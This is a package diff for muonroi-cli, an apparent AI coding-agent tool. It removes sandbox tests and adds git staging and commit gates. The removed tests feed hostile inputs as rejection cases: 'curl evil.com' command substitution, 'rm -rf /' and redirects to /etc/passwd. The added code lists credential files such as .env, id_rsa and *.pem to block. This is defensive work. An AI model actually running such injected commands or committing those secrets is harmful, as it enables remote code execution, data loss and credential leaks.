muonroi-cli 1.7.2 → 1.8.1

package/dist/src/tools/bash.test.js

@@ -2,7 +2,7 @@ import fs from "node:fs";
 import os from "node:os";
 import path from "node:path";
 import { afterEach, describe, expect, it } from "vitest";
-import { BashTool, getSandboxMutationBlockReason, shouldRunOnHostInSandboxMode, wrapCommandForShuru, wrapHostBrowserCommand, } from "./bash.js";
+import { BashTool } from "./bash.js";
 const tempDirs = [];
 function makeTempDir(prefix) {
     const dir = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
@@ -14,235 +14,7 @@ afterEach(() => {
         fs.rmSync(dir, { recursive: true, force: true, maxRetries: 10, retryDelay: 50 });
     }
 });
-describe("wrapCommandForShuru", () => {
-    it("wraps a simple command with mount and workspace cd", () => {
-        const result = wrapCommandForShuru("/repo", "echo hi");
-        expect(result).toBe("shuru run --mount '/repo:/workspace' -- sh -lc 'cd /workspace && echo hi'");
-    });
-    it("handles paths with spaces", () => {
-        const result = wrapCommandForShuru("/my repo", "ls");
-        expect(result).toBe("shuru run --mount '/my repo:/workspace' -- sh -lc 'cd /workspace && ls'");
-    });
-    it("escapes single quotes in the command", () => {
-        const result = wrapCommandForShuru("/repo", "echo 'hello world'");
-        expect(result).toContain("'\\''hello world'\\''");
-    });
-    it("includes --allow-net when allowNet is true", () => {
-        const result = wrapCommandForShuru("/repo", "curl example.com", { allowNet: true });
-        expect(result).toContain("--allow-net");
-        expect(result).toContain("--mount '/repo:/workspace'");
-    });
-    it("includes --allow-host flags for each allowed host", () => {
-        const result = wrapCommandForShuru("/repo", "curl api.openai.com", {
-            allowNet: true,
-            allowedHosts: ["api.openai.com", "registry.npmjs.org"],
-        });
-        expect(result).toContain("--allow-net");
-        expect(result).toContain("--allow-host api.openai.com");
-        expect(result).toContain("--allow-host registry.npmjs.org");
-    });
-    it("includes port forwards", () => {
-        const result = wrapCommandForShuru("/repo", "python -m http.server", { ports: ["8080:8000", "8443:443"] });
-        expect(result).toContain("-p 8080:8000");
-        expect(result).toContain("-p 8443:443");
-    });
-    it("includes resource limits", () => {
-        const result = wrapCommandForShuru("/repo", "make -j4", { cpus: 4, memory: 4096, diskSize: 8192 });
-        expect(result).toContain("--cpus 4");
-        expect(result).toContain("--memory 4096");
-        expect(result).toContain("--disk-size 8192");
-    });
-    it("includes --from checkpoint flag", () => {
-        const result = wrapCommandForShuru("/repo", "python script.py", { from: "py-env" });
-        expect(result).toContain("--from py-env");
-    });
-    it("includes --secret flags", () => {
-        const result = wrapCommandForShuru("/repo", "curl https://api.openai.com", {
-            allowNet: true,
-            secrets: [{ name: "API_KEY", fromEnv: "OPENAI_API_KEY", hosts: ["api.openai.com"] }],
-        });
-        expect(result).toContain("--secret API_KEY=OPENAI_API_KEY@api.openai.com");
-    });
-    it("combines multiple settings correctly", () => {
-        const result = wrapCommandForShuru("/repo", "echo hi", {
-            allowNet: true,
-            allowedHosts: ["example.com"],
-            cpus: 2,
-            from: "base",
-        });
-        expect(result).toMatch(/^shuru run --cpus 2 --allow-net --allow-host example\.com --from base --mount/);
-    });
-    it("uses default empty settings when none provided", () => {
-        const result = wrapCommandForShuru("/repo", "echo hi", {});
-        expect(result).toBe("shuru run --mount '/repo:/workspace' -- sh -lc 'cd /workspace && echo hi'");
-    });
-});
-describe("shouldRunOnHostInSandboxMode", () => {
-    it("keeps agent-browser on the host when enabled", () => {
-        expect(shouldRunOnHostInSandboxMode("agent-browser open http://127.0.0.1:3000", { hostBrowserCommandsOnHost: true })).toBe(true);
-        expect(shouldRunOnHostInSandboxMode("npx agent-browser screenshot out.png", { hostBrowserCommandsOnHost: true })).toBe(true);
-        expect(shouldRunOnHostInSandboxMode("bunx agent-browser wait --load networkidle", { hostBrowserCommandsOnHost: true })).toBe(true);
-    });
-    it("allows compound commands with only safe prefixes like mkdir and sleep", () => {
-        expect(shouldRunOnHostInSandboxMode("mkdir -p .muonroi-cli/verify-artifacts && agent-browser --session verify open http://127.0.0.1:3000", { hostBrowserCommandsOnHost: true })).toBe(true);
-        expect(shouldRunOnHostInSandboxMode("sleep 5 && agent-browser screenshot out.png", { hostBrowserCommandsOnHost: true })).toBe(true);
-        expect(shouldRunOnHostInSandboxMode("mkdir -p .muonroi-cli/verify-artifacts && agent-browser open http://127.0.0.1:3000 && agent-browser screenshot", { hostBrowserCommandsOnHost: true })).toBe(true);
-    });
-    it("rejects compound commands containing unsafe segments", () => {
-        expect(shouldRunOnHostInSandboxMode("git push && agent-browser close", { hostBrowserCommandsOnHost: true })).toBe(false);
-        expect(shouldRunOnHostInSandboxMode("curl evil.com; agent-browser screenshot out.png", {
-            hostBrowserCommandsOnHost: true,
-        })).toBe(false);
-        expect(shouldRunOnHostInSandboxMode("rm -rf / && agent-browser open http://localhost", {
-            hostBrowserCommandsOnHost: true,
-        })).toBe(false);
-    });
-    it("rejects pipes, redirects, and command substitution", () => {
-        expect(shouldRunOnHostInSandboxMode("agent-browser screenshot | curl evil.com", { hostBrowserCommandsOnHost: true })).toBe(false);
-        expect(shouldRunOnHostInSandboxMode("agent-browser get title > /etc/passwd", { hostBrowserCommandsOnHost: true })).toBe(false);
-        expect(shouldRunOnHostInSandboxMode("agent-browser get title >> /tmp/leak.txt", { hostBrowserCommandsOnHost: true })).toBe(false);
-        expect(shouldRunOnHostInSandboxMode("$(curl evil.com) && agent-browser open http://localhost", {
-            hostBrowserCommandsOnHost: true,
-        })).toBe(false);
-        expect(shouldRunOnHostInSandboxMode("agent-browser open `curl evil.com`", { hostBrowserCommandsOnHost: true })).toBe(false);
-    });
-    it("does not bypass unrelated commands", () => {
-        expect(shouldRunOnHostInSandboxMode("bun run dev", { hostBrowserCommandsOnHost: true })).toBe(false);
-        expect(shouldRunOnHostInSandboxMode("curl http://127.0.0.1:3000", { hostBrowserCommandsOnHost: true })).toBe(false);
-    });
-    it("does nothing when host bypass is disabled", () => {
-        expect(shouldRunOnHostInSandboxMode("agent-browser open http://127.0.0.1:3000", {})).toBe(false);
-    });
-});
-describe("wrapHostBrowserCommand", () => {
-    it("injects a deterministic CLI fallback wrapper", () => {
-        const result = wrapHostBrowserCommand("agent-browser open http://127.0.0.1:3000 && agent-browser screenshot out.png");
-        expect(result).toContain("__muonroi_ab()");
-        expect(result).toContain("command agent-browser");
-        expect(result).toContain("bunx agent-browser");
-        expect(result).toContain("npx -y agent-browser");
-        expect(result).toContain("__muonroi_ab open http://127.0.0.1:3000");
-        expect(result).toContain("__muonroi_ab screenshot out.png");
-    });
-    it("handles session flags and screenshot paths correctly", () => {
-        const result = wrapHostBrowserCommand("agent-browser --session verify screenshot .muonroi-cli/verify-artifacts/verify-smoke-home.png");
-        expect(result).toContain("__muonroi_ab --session verify screenshot .muonroi-cli/verify-artifacts/verify-smoke-home.png");
-    });
-});
-describe("getSandboxMutationBlockReason", () => {
-    it("returns null for read-only git commands", () => {
-        expect(getSandboxMutationBlockReason("git status")).toBeNull();
-        expect(getSandboxMutationBlockReason("git diff")).toBeNull();
-        expect(getSandboxMutationBlockReason("git log --oneline")).toBeNull();
-        expect(getSandboxMutationBlockReason("git show HEAD")).toBeNull();
-        expect(getSandboxMutationBlockReason("git rev-parse HEAD")).toBeNull();
-        expect(getSandboxMutationBlockReason("git grep foo")).toBeNull();
-        expect(getSandboxMutationBlockReason("git ls-files")).toBeNull();
-    });
-    it("blocks mutating git commands", () => {
-        expect(getSandboxMutationBlockReason("git add .")).toContain("Sandbox mode blocks git commands");
-        expect(getSandboxMutationBlockReason("git commit -m 'test'")).toContain("Sandbox mode blocks git commands");
-        expect(getSandboxMutationBlockReason("git push")).toContain("Sandbox mode blocks git commands");
-        expect(getSandboxMutationBlockReason("git checkout -b new")).toContain("Sandbox mode blocks git commands");
-    });
-    it("blocks git inside compound shell expressions", () => {
-        expect(getSandboxMutationBlockReason('echo foo && git commit -m "test"')).toContain("Sandbox mode blocks git commands");
-        expect(getSandboxMutationBlockReason('bash -c "git push"')).toContain("Sandbox mode blocks git commands");
-    });
-    it("blocks git branch since it can mutate", () => {
-        expect(getSandboxMutationBlockReason("git branch -D feature")).toContain("Sandbox mode blocks git commands");
-        expect(getSandboxMutationBlockReason("git branch new-name")).toContain("Sandbox mode blocks git commands");
-    });
-    it("blocks package-manager installs", () => {
-        expect(getSandboxMutationBlockReason("npm install express")).toContain("Package-manager installs");
-        expect(getSandboxMutationBlockReason("yarn add lodash")).toContain("Package-manager installs");
-        expect(getSandboxMutationBlockReason("pnpm install")).toContain("Package-manager installs");
-        expect(getSandboxMutationBlockReason("bun add zod")).toContain("Package-manager installs");
-    });
-    it("allows package-manager installs when ephemeral installs are enabled", () => {
-        expect(getSandboxMutationBlockReason("npm install express", { allowEphemeralInstall: true })).toBeNull();
-        expect(getSandboxMutationBlockReason("pnpm install", { allowEphemeralInstall: true })).toBeNull();
-        expect(getSandboxMutationBlockReason("pip install fastapi", { allowEphemeralInstall: true })).toBeNull();
-    });
-    it("blocks package-manager installs in compound commands", () => {
-        expect(getSandboxMutationBlockReason("echo foo && npm install express")).toContain("Package-manager installs");
-    });
-    it("blocks formatters that rewrite files", () => {
-        expect(getSandboxMutationBlockReason("prettier --write src/")).toContain("formatters");
-        expect(getSandboxMutationBlockReason("biome check --write src/")).toContain("formatters");
-    });
-    it("allows safe non-mutating commands", () => {
-        expect(getSandboxMutationBlockReason("ls -la")).toBeNull();
-        expect(getSandboxMutationBlockReason("cat README.md")).toBeNull();
-        expect(getSandboxMutationBlockReason("grep -r foo src/")).toBeNull();
-        expect(getSandboxMutationBlockReason("uname -a")).toBeNull();
-        expect(getSandboxMutationBlockReason("npm run test")).toBeNull();
-        expect(getSandboxMutationBlockReason("node -e 'console.log(1)'")).toBeNull();
-    });
-    it("returns null for empty commands", () => {
-        expect(getSandboxMutationBlockReason("")).toBeNull();
-        expect(getSandboxMutationBlockReason("   ")).toBeNull();
-    });
-});
-describe("BashTool sandbox state", () => {
-    it("tracks cwd changes independently of sandbox mode", () => {
-        const root = makeTempDir("muonroi-bash-test-");
-        const nested = path.join(root, "nested");
-        fs.mkdirSync(nested);
-        const bash = new BashTool(root, { sandboxMode: "shuru" });
-        expect(bash.getCwd()).toBe(root);
-        expect(bash.getSandboxMode()).toBe("shuru");
-    });
-    it("can switch sandbox mode at runtime", () => {
-        const bash = new BashTool("/repo", { sandboxMode: "off" });
-        expect(bash.getSandboxMode()).toBe("off");
-        bash.setSandboxMode("shuru");
-        expect(bash.getSandboxMode()).toBe("shuru");
-    });
-    it("returns sandbox-aware tool description", () => {
-        const off = new BashTool("/repo", { sandboxMode: "off" });
-        const on = new BashTool("/repo", { sandboxMode: "shuru" });
-        expect(off.getToolDescription()).not.toContain("Shuru");
-        // Shuru only actually engages on macOS/arm64. Elsewhere the tool degrades
-        // to host execution, so the description must NOT advertise the phantom
-        // /workspace mount that a non-mac platform cannot provide.
-        const shuruSupported = process.platform === "darwin" && process.arch === "arm64";
-        if (shuruSupported) {
-            expect(on.getToolDescription()).toContain("Shuru sandbox");
-            expect(on.getToolDescription()).toContain("do not persist back to the host");
-        }
-        else {
-            expect(on.getToolDescription()).not.toContain("Shuru");
-            expect(on.getToolDescription()).not.toContain("/workspace");
-        }
-    });
-    it("degrades shuru to host execution when the platform cannot run Shuru", async () => {
-        const shuruSupported = process.platform === "darwin" && process.arch === "arm64";
-        if (shuruSupported)
-            return; // on a real Shuru host this path doesn't apply
-        const root = makeTempDir("muonroi-bash-shuru-degrade-");
-        const bash = new BashTool(root, { sandboxMode: "shuru" });
-        // getSandboxMode() still reports the CONFIGURED mode (intent preserved)...
-        expect(bash.getSandboxMode()).toBe("shuru");
-        // ...but a real command runs on the host instead of failing with the
-        // "requires macOS on Apple Silicon" error that previously bricked the shell.
-        const result = await bash.execute("echo sandbox-degrade-ok", 15_000);
-        expect(result.output).toContain("sandbox-degrade-ok");
-        expect(result.output).not.toContain("Apple Silicon");
-    });
-    it("stores and returns sandbox settings", () => {
-        const bash = new BashTool("/repo", {
-            sandboxMode: "shuru",
-            sandboxSettings: { allowNet: true, cpus: 4 },
-        });
-        expect(bash.getSandboxSettings()).toEqual({ allowNet: true, cpus: 4 });
-    });
-    it("can update sandbox settings at runtime", () => {
-        const bash = new BashTool("/repo", { sandboxMode: "shuru" });
-        expect(bash.getSandboxSettings()).toEqual({});
-        bash.setSandboxSettings({ allowNet: true, allowedHosts: ["api.openai.com"] });
-        expect(bash.getSandboxSettings()).toEqual({ allowNet: true, allowedHosts: ["api.openai.com"] });
-    });
+describe("BashTool non-sandbox behavior", () => {
     it("translates POSIX-style absolute paths in cd when shell is POSIX", async () => {
         if (process.platform !== "win32")
             return;
@@ -272,12 +44,6 @@ describe("BashTool sandbox state", () => {
         expect(bash.getCwd()).toBe(root);
     });
     it("splits `cd <dir> && <cmd>` and runs <cmd> in the new cwd (session 127140a47b56 regression)", async () => {
-        // Pre-fix: the cd handler consumed the entire substring after `cd ` as a
-        // directory, so `cd D:\foo && gh run list` was stat()-ed as the literal
-        // string `D:\foo && gh run list`. Agents retried with every shell syntax
-        // imaginable (cmd.exe, powershell, /d/sources, escaped backslashes…) and
-        // burned 248 bash calls before being killed. After the fix the chain is
-        // parsed so the cd succeeds and the remainder executes in the new cwd.
         const root = makeTempDir("muonroi-bash-cdchain-");
         const bash = new BashTool(os.tmpdir());
         const echoCmd = process.platform === "win32" ? "echo split-ok" : "echo split-ok";
@@ -320,26 +86,5 @@ describe("BashTool sandbox state", () => {
         expect(result.output ?? "").toContain("always-runs");
         expect(bash.getCwd()).toBe(root);
     });
-    it("includes network status in tool description when allowNet is set", () => {
-        // Network status only appears in the Shuru description, which engages on
-        // macOS/arm64. Off-platform the tool degrades to host execution.
-        if (process.platform !== "darwin" || process.arch !== "arm64")
-            return;
-        const netOn = new BashTool("/repo", {
-            sandboxMode: "shuru",
-            sandboxSettings: { allowNet: true },
-        });
-        expect(netOn.getToolDescription()).toContain("network access is enabled");
-        const netRestricted = new BashTool("/repo", {
-            sandboxMode: "shuru",
-            sandboxSettings: { allowNet: true, allowedHosts: ["api.openai.com"] },
-        });
-        expect(netRestricted.getToolDescription()).toContain("network is restricted to: api.openai.com");
-        const netOff = new BashTool("/repo", {
-            sandboxMode: "shuru",
-            sandboxSettings: { allowNet: false },
-        });
-        expect(netOff.getToolDescription()).toContain("network is disabled");
-    });
 });
 //# sourceMappingURL=bash.test.js.map

package/dist/src/tools/file-tracker.d.ts

@@ -19,8 +19,13 @@ export interface ReadRecord {
 }
 export declare class FileTracker {
     private records;
+    private written;
     /** Record content as known to the agent. Called after a successful read. */
     markRead(absolutePath: string, content: string, mtimeMs: number): void;
+    /** Record that the agent wrote/edited this file. Called after a successful write. */
+    markWritten(absolutePath: string): void;
+    /** Absolute paths the agent created or modified via tools this session. */
+    writtenPaths(): string[];
     /** True if the file has been recorded as read this session. */
     hasRead(absolutePath: string): boolean;
     /**

package/dist/src/tools/file-tracker.js

@@ -1,10 +1,23 @@
 import { createHash } from "crypto";
 export class FileTracker {
     records = new Map();
+    // Absolute paths the agent CREATED/MODIFIED via write_file/edit_file this
+    // session. Distinct from `records` (which also holds read-only files). The
+    // git_commit tool stages exactly these so an agent commit never sweeps the
+    // user's unrelated working-tree changes or files the agent merely read.
+    written = new Set();
     /** Record content as known to the agent. Called after a successful read. */
     markRead(absolutePath, content, mtimeMs) {
         this.records.set(absolutePath, { hash: hashOf(content), mtimeMs });
     }
+    /** Record that the agent wrote/edited this file. Called after a successful write. */
+    markWritten(absolutePath) {
+        this.written.add(absolutePath);
+    }
+    /** Absolute paths the agent created or modified via tools this session. */
+    writtenPaths() {
+        return [...this.written];
+    }
     /** True if the file has been recorded as read this session. */
     hasRead(absolutePath) {
         return this.records.has(absolutePath);
@@ -32,6 +45,7 @@ export class FileTracker {
     /** Drop everything (e.g. on /clear). */
     reset() {
         this.records.clear();
+        this.written.clear();
     }
 }
 function hashOf(s) {

package/dist/src/tools/file.js

@@ -70,6 +70,7 @@ export async function writeFile(filePath, content, cwd, tracker) {
         writeFileSync(full, content, "utf-8");
         // Refresh tracker so subsequent edits in the same session don't refuse.
         tracker?.markRead(full, content, mtimeMsOf(full));
+        tracker?.markWritten(full);
         const diff = computeDiff(filePath, before, content);
         const verb = before === "" ? "Created" : "Updated";
         const lspDiagnostics = await syncFileWithLsp(cwd, full, content, true, true).catch(() => []);
@@ -138,6 +139,7 @@ export async function editFile(filePath, oldString, newString, cwd, tracker) {
         writeFileSync(full, after, "utf-8");
         // Refresh tracker so back-to-back edits keep working.
         tracker?.markRead(full, after, mtimeMsOf(full));
+        tracker?.markWritten(full);
         const diff = computeDiff(filePath, before, after);
         const lspDiagnostics = await syncFileWithLsp(cwd, full, after, true, true).catch(() => []);
         const lspSummary = summarizeDiagnostics(lspDiagnostics);

package/dist/src/tools/git-safety.d.ts

@@ -37,6 +37,12 @@ export interface GitCommandShape {
     isPush: boolean;
     /** `git add -A` / `git add .` / `git add --all` / `git commit -a[m]`. */
     isBroadStage: boolean;
+    /** Any `git commit` (with or without `-a`). Gated by the LSP commit gate. */
+    isCommit: boolean;
+    /** `git add -A` / `git add .` / `git add --all` (stages the whole working tree). */
+    isBroadAdd: boolean;
+    /** `git commit -a[m]` (auto-stages tracked modifications at commit time). */
+    isCommitAll: boolean;
 }
 export declare function analyzeGitCommand(command: string): GitCommandShape;
 /**
@@ -54,8 +60,39 @@ export interface PushGateResult {
 export declare function checkPushGate(sessionKey: string): PushGateResult;
 /** Message returned in place of running a blocked `git push`. */
 export declare function pushBlockedMessage(failed: string[]): string;
+/**
+ * Message returned in place of running a blocked bash `git commit`. Mirrors the
+ * G1 `git_commit` tool gate: the agent must FIX the reported errors, not bypass
+ * the gate — so (per the G1 convention) the user-only `MUONROI_COMMIT_GATE=0`
+ * escape hatch is intentionally NOT advertised here.
+ */
+export declare function commitBlockedMessage(summary?: string): string;
 /** Sensitive paths present in `cwd` that a broad `git add` would likely sweep in. */
 export declare function detectSensitiveStaging(cwd: string): string[];
-/** Non-blocking warning appended to a broad-stage command's output, or "". */
+export interface StagingBlockResult {
+    /** true means broad staging must be blocked (pre-execution). */
+    blocked: boolean;
+    /** Sensitive paths found in the working directory root. */
+    sensitive: string[];
+    /** Human-readable block message to return from the bash tool. */
+    message: string;
+}
+/**
+ * Hard-block check for broad `git add`/`git commit -a` when sensitive files are
+ * present in the working directory.
+ *
+ * Replaces the non-blocking `stagingWarning()`. Returns blocked=true when
+ * sensitive paths are detected. The caller (registry.ts bash tool) must
+ * return `result.message` WITHOUT executing the command.
+ *
+ * The user can override this gate by:
+ *   1. Explicitly staging only the files they want (`git add <path>` instead of `-A`).
+ *   2. Setting MUONROI_ALLOW_BROAD_STAGE=1 (escape hatch, logged to decision-log).
+ */
+export declare function checkSensitiveStaging(cwd: string): StagingBlockResult;
+/**
+ * @deprecated Use checkSensitiveStaging() for hard-blocking.
+ * Kept for call sites that emit a trailing warning (non-broad-stage contexts).
+ */
 export declare function stagingWarning(cwd: string): string;
 export {};

package/dist/src/tools/git-safety.js

@@ -57,11 +57,21 @@ const BROAD_ADD_RE = /\bgit\b[^|&;\n]*[ \t]add[ \t]+(?:-A\b|--all\b|\.(?=[ \t]|$
 // `-a` / `-am` / `-ma` etc. — a short-flag cluster CONTAINING `a`, terminated by
 // whitespace or end (so `-a--otherflag` and `--amend` do NOT match).
 const COMMIT_ALL_RE = /\bgit\b[^|&;\n]*[ \t]commit\b[^|&;\n]*[ \t]-[a-z]*a[a-z]*(?=[ \t]|$)/;
+// Any `git commit` (with or without `-a`). `commit` must end at whitespace or
+// the clause boundary so plumbing like `commit-tree` / `commit-graph` and
+// option values like `--grep=commit` do NOT match. Drives the bash-tool LSP
+// commit gate so a raw `git commit` cannot bypass the `git_commit` tool's gate.
+const COMMIT_RE = /\bgit\b[^|&;\n]*[ \t]commit(?=[ \t]|$)/;
 export function analyzeGitCommand(command) {
     const c = stripQuoted(command);
+    const isBroadAdd = BROAD_ADD_RE.test(c);
+    const isCommitAll = COMMIT_ALL_RE.test(c);
     return {
         isPush: PUSH_RE.test(c),
-        isBroadStage: BROAD_ADD_RE.test(c) || COMMIT_ALL_RE.test(c),
+        isBroadStage: isBroadAdd || isCommitAll,
+        isCommit: COMMIT_RE.test(c),
+        isBroadAdd,
+        isCommitAll,
     };
 }
 /**
@@ -102,19 +112,52 @@ export function pushBlockedMessage(failed) {
         "Re-run the failing check until it passes (0 failures), then push. This mirrors the mandatory Pre-Push Test Gate " +
         "(never push on red). If you must override for a genuine reason, set MUONROI_ALLOW_PUSH_ON_RED=1.");
 }
+/**
+ * Message returned in place of running a blocked bash `git commit`. Mirrors the
+ * G1 `git_commit` tool gate: the agent must FIX the reported errors, not bypass
+ * the gate — so (per the G1 convention) the user-only `MUONROI_COMMIT_GATE=0`
+ * escape hatch is intentionally NOT advertised here.
+ */
+export function commitBlockedMessage(summary) {
+    return ("BLOCKED: refusing to run `git commit` — staged file(s) have errors that must be fixed first:\n" +
+        `${summary ?? "(no diagnostic detail available)"}\n\n` +
+        "Fix the reported errors, re-stage the file(s), then commit again. This mirrors the `git_commit` " +
+        "tool's quality gate so a bash `git commit` cannot bypass it.");
+}
 // Repo-root paths that should essentially never be committed. Presence-based
 // (fs.existsSync) so the check is O(1) and never spawns git.
+//
+// Patterns cover:
+//   - All .env variants (.env, .env.*, *.env)
+//   - SSH private keys (id_rsa, id_ed25519, id_ecdsa, id_dsa, *.pem, *.key)
+//   - Cloud / service credentials
+//   - muonroi-cli settings (may hold provider API keys)
 const SENSITIVE_NAMES = [
     ".env",
     ".env.local",
     ".env.production",
     ".env.development",
+    ".env.test",
+    ".env.staging",
     ".muonroi-cli",
     "id_rsa",
     "id_ed25519",
+    "id_ecdsa",
+    "id_dsa",
     "credentials.json",
+    "service-account.json",
     ".npmrc",
+    ".pypirc",
+    ".netrc",
+    ".aws",
+    ".kube",
+    ".docker",
+    "secrets.json",
+    "secrets.yaml",
+    "secrets.yml",
 ];
+/** Sensitive file name suffixes checked via endsWith (catches *.pem, *.key, *.pfx). */
+const SENSITIVE_SUFFIXES = [".pem", ".key", ".pfx", ".p12", ".env"];
 /** Sensitive paths present in `cwd` that a broad `git add` would likely sweep in. */
 export function detectSensitiveStaging(cwd) {
     const found = [];
@@ -127,15 +170,62 @@ export function detectSensitiveStaging(cwd) {
             // ignore unreadable entries — best-effort detection only
         }
     }
+    // Scan shallow directory entries for sensitive suffixes (*.pem, *.key, etc.)
+    // Only the cwd root — not recursive — to keep this O(n) and fast.
+    try {
+        const entries = fs.readdirSync(cwd);
+        for (const entry of entries) {
+            if (found.includes(entry))
+                continue; // already captured
+            const lower = entry.toLowerCase();
+            if (SENSITIVE_SUFFIXES.some((s) => lower.endsWith(s))) {
+                found.push(entry);
+            }
+        }
+    }
+    catch {
+        // ignore — e.g. permission error on readdir
+    }
     return found;
 }
-/** Non-blocking warning appended to a broad-stage command's output, or "". */
+/**
+ * Hard-block check for broad `git add`/`git commit -a` when sensitive files are
+ * present in the working directory.
+ *
+ * Replaces the non-blocking `stagingWarning()`. Returns blocked=true when
+ * sensitive paths are detected. The caller (registry.ts bash tool) must
+ * return `result.message` WITHOUT executing the command.
+ *
+ * The user can override this gate by:
+ *   1. Explicitly staging only the files they want (`git add <path>` instead of `-A`).
+ *   2. Setting MUONROI_ALLOW_BROAD_STAGE=1 (escape hatch, logged to decision-log).
+ */
+export function checkSensitiveStaging(cwd) {
+    if (process.env.MUONROI_ALLOW_BROAD_STAGE === "1") {
+        return { blocked: false, sensitive: [], message: "" };
+    }
+    const sensitive = detectSensitiveStaging(cwd);
+    if (sensitive.length === 0)
+        return { blocked: false, sensitive: [], message: "" };
+    const list = sensitive.map((n) => `  • ${n}`).join("\n");
+    const message = "BLOCKED: refusing broad `git add`/`git commit -a` — the following sensitive " +
+        "paths exist in the repo root and would be swept into the staging area:\n" +
+        `${list}\n\n` +
+        "Stage files EXPLICITLY with `git add <path>` to avoid accidentally committing " +
+        "secrets or credentials. Ensure these paths are listed in .gitignore. " +
+        "To bypass this gate (not recommended), set MUONROI_ALLOW_BROAD_STAGE=1.";
+    return { blocked: true, sensitive, message };
+}
+/**
+ * @deprecated Use checkSensitiveStaging() for hard-blocking.
+ * Kept for call sites that emit a trailing warning (non-broad-stage contexts).
+ */
 export function stagingWarning(cwd) {
     const sensitive = detectSensitiveStaging(cwd);
     if (sensitive.length === 0)
         return "";
-    return ("\n\n[WARNING: a broad `git add`/`git commit -a` was run while these sensitive paths exist in the repo root: " +
-        `${sensitive.join(", ")}. Verify none were staged (git status), stage files EXPLICITLY (git add <path>), and ensure ` +
+    return ("\n\n[WARNING: sensitive paths exist in the repo root: " +
+        `${sensitive.join(", ")}. Verify none were staged (git status) and ensure ` +
         "secrets are gitignored before committing/pushing.]");
 }
 //# sourceMappingURL=git-safety.js.map

package/dist/src/tools/git-safety.test.js

@@ -2,7 +2,7 @@ import { mkdtempSync, rmSync, writeFileSync } from "node:fs";
 import { tmpdir } from "node:os";
 import { join } from "node:path";
 import { afterEach, beforeEach, describe, expect, it } from "vitest";
-import { __resetGitSafetyState, analyzeGitCommand, checkPushGate, detectSensitiveStaging, recordCommandOutcome, stagingWarning, } from "./git-safety.js";
+import { __resetGitSafetyState, analyzeGitCommand, checkPushGate, commitBlockedMessage, detectSensitiveStaging, recordCommandOutcome, stagingWarning, } from "./git-safety.js";
 describe("analyzeGitCommand", () => {
     it("detects git push (with flags and chained)", () => {
         expect(analyzeGitCommand("git push").isPush).toBe(true);
@@ -40,6 +40,50 @@ describe("analyzeGitCommand", () => {
         // -a must be a clean flag cluster — a malformed `-a--otherflag` is not `-a`.
         expect(analyzeGitCommand("git commit -a--otherflag").isBroadStage).toBe(false);
     });
+    it("detects any `git commit` for the LSP commit gate (with or without -a)", () => {
+        expect(analyzeGitCommand("git commit -m 'x'").isCommit).toBe(true);
+        expect(analyzeGitCommand("git commit").isCommit).toBe(true);
+        expect(analyzeGitCommand("git commit -am 'x'").isCommit).toBe(true);
+        expect(analyzeGitCommand("git commit --amend --no-edit").isCommit).toBe(true);
+        expect(analyzeGitCommand("git -c x=y commit -m 'x'").isCommit).toBe(true);
+        expect(analyzeGitCommand("git add -A && git commit -m 'x'").isCommit).toBe(true);
+    });
+    it("does not treat commit plumbing / quoted messages as a commit", () => {
+        // `commit` must terminate at whitespace/clause-end — plumbing subcommands stay clear.
+        expect(analyzeGitCommand("git commit-tree $TREE").isCommit).toBe(false);
+        expect(analyzeGitCommand("git commit-graph write").isCommit).toBe(false);
+        // option values and quoted messages mentioning commit must not match.
+        expect(analyzeGitCommand("git log --grep=commit").isCommit).toBe(false);
+        expect(analyzeGitCommand('git push -m "amend the commit later"').isCommit).toBe(false);
+        // separate clause / line cannot bleed in.
+        expect(analyzeGitCommand("git status\necho commit").isCommit).toBe(false);
+    });
+    it("separates broad-add from commit-all so the gate scopes the right path set", () => {
+        const addAll = analyzeGitCommand("git add -A");
+        expect(addAll.isBroadAdd).toBe(true);
+        expect(addAll.isCommitAll).toBe(false);
+        const commitAll = analyzeGitCommand("git commit -am 'x'");
+        expect(commitAll.isCommitAll).toBe(true);
+        expect(commitAll.isBroadAdd).toBe(false);
+        expect(commitAll.isCommit).toBe(true);
+        const plainCommit = analyzeGitCommand("git commit -m 'x'");
+        expect(plainCommit.isBroadAdd).toBe(false);
+        expect(plainCommit.isCommitAll).toBe(false);
+        expect(plainCommit.isCommit).toBe(true);
+    });
+});
+describe("commitBlockedMessage", () => {
+    it("surfaces the diagnostic summary and does NOT advertise the env bypass", () => {
+        const msg = commitBlockedMessage("src/foo.ts:3 error TS2322");
+        expect(msg).toMatch(/BLOCKED/);
+        expect(msg).toContain("src/foo.ts:3 error TS2322");
+        expect(msg).toMatch(/git_commit/);
+        // G1 convention: the user-only escape hatch is never shown to the agent.
+        expect(msg).not.toMatch(/MUONROI_COMMIT_GATE/);
+    });
+    it("falls back gracefully when no summary is provided", () => {
+        expect(commitBlockedMessage()).toMatch(/no diagnostic detail/i);
+    });
 });
 describe("push gate", () => {
     beforeEach(() => {

package/dist/src/tools/native-tools.d.ts

@@ -20,7 +20,7 @@
  */
 import { type ToolSet } from "ai";
 /** The native tool names this module registers — used by the MCP-twin dedup. */
-export declare const NATIVE_MUONROI_TOOL_NAMES: readonly ["ee_health", "ee_feedback", "usage_forensics", "lsp_query", "setup_guide", "selfverify_start", "selfverify_status", "selfverify_result", "selfverify_list", "selfverify_cancel"];
+export declare const NATIVE_MUONROI_TOOL_NAMES: readonly ["ee_health", "ee_feedback", "ee_write", "usage_forensics", "lsp_query", "setup_guide", "selfverify_start", "selfverify_status", "selfverify_result", "selfverify_list", "selfverify_cancel"];
 export interface NativeToolOpts {
     /** Workspace cwd for lsp_query. Defaults to process.cwd(). */
     cwd?: string;